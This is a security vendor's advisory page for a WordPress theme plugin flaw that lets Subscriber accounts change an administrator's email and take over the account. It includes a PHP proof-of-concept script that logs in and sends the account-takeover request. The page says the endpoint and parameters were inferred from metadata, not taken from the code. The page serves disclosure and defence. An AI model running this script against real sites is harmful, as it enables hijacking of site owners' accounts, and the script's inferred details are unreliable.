Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15096: Videospirecore Theme Plugin <= 1.0.6 – Authenticated (Subscriber+) Privilege Escalation via User Email Change/Account Takeover (videospirecore)

Severity High (CVSS 8.8)
CWE 639
Vulnerable Version 1.0.6
Patched Version
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15096 (metadata-based):
This vulnerability is an authorization bypass in the Videospirecore Theme Plugin for WordPress, allowing authenticated attackers with Subscriber-level permissions to change the email address of any user, including administrators. This flaw enables account takeover and privilege escalation. The CVSS score of 8.8 (High) reflects the high impact of this access control failure.

CWE-639, Authorization Bypass Through User-Controlled Key, indicates the root cause. The plugin likely uses a user-controlled parameter, such as a user ID, to identify which account to update without verifying the requesting user has the correct authorization. The vulnerability description confirms the plugin does not properly validate a user’s identity before updating their details. Atomic Edge research infers the vulnerable code is likely an AJAX handler or REST API endpoint that processes user profile updates. This conclusion is based on the CWE classification and common WordPress plugin patterns, not direct code review.

Exploitation requires an authenticated attacker with a Subscriber account. The attacker would send a crafted request to a plugin-specific endpoint, such as `/wp-admin/admin-ajax.php`. The request would contain an action parameter like `videospirecore_update_user_email` and a parameter specifying the target user ID and a new email address. The payload would lack a capability check or nonce verification, or it would incorrectly trust a user-supplied ID. The attacker can then trigger a password reset to the new email to complete the account takeover.

Remediation requires implementing proper authorization checks. The plugin must verify the current user’s capability to edit the target user, typically using `current_user_can(‘edit_user’, $target_user_id)`. It must also implement nonce verification for the request and ensure the user ID parameter is validated against the current user’s permissions. A patch should also sanitize and validate the email address parameter.

Successful exploitation leads to a complete account takeover of any user, including administrators. An attacker can escalate privileges from Subscriber to Administrator, gaining full control over the WordPress site. This allows data theft, content manipulation, plugin installation, and further server compromise. The attack chain is reliable and requires only low-privilege access.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15096 - Videospirecore Theme Plugin <= 1.0.6 - Authenticated (Subscriber+) Privilege Escalation via User Email Change/Account Takeover
<?php

$target_url = 'http://vulnerable-site.local';
$username = 'attacker_subscriber';
$password = 'attacker_password';

// The target user ID to take over (e.g., an administrator with ID 1)
$target_user_id = 1;
// Attacker-controlled email address for the password reset
$new_email = 'attacker-controlled@example.com';

// This script assumes the vulnerable endpoint is a WordPress AJAX handler.
// The specific action name is inferred from the plugin slug 'videospirecore'.
// Common patterns include 'videospirecore_update_user' or 'videospirecore_save_profile'.
$assumed_ajax_action = 'videospirecore_update_user_email';

// Step 1: Authenticate as a low-privilege user (Subscriber) to obtain cookies.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Send the malicious AJAX request to change the target user's email.
// The parameter structure is inferred: a user ID and an email field.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => $assumed_ajax_action,
    'user_id' => $target_user_id,
    'email' => $new_email
    // A nonce parameter may exist but is likely not validated.
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);
curl_close($ch);

// Step 3: Interpret results.
echo "Login and AJAX request sent.n";
echo "AJAX Response: " . htmlspecialchars($ajax_response) . "n";
echo "If successful, the email for user ID {$target_user_id} was changed to {$new_email}.n";
echo "The attacker can now initiate a password reset for that account.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School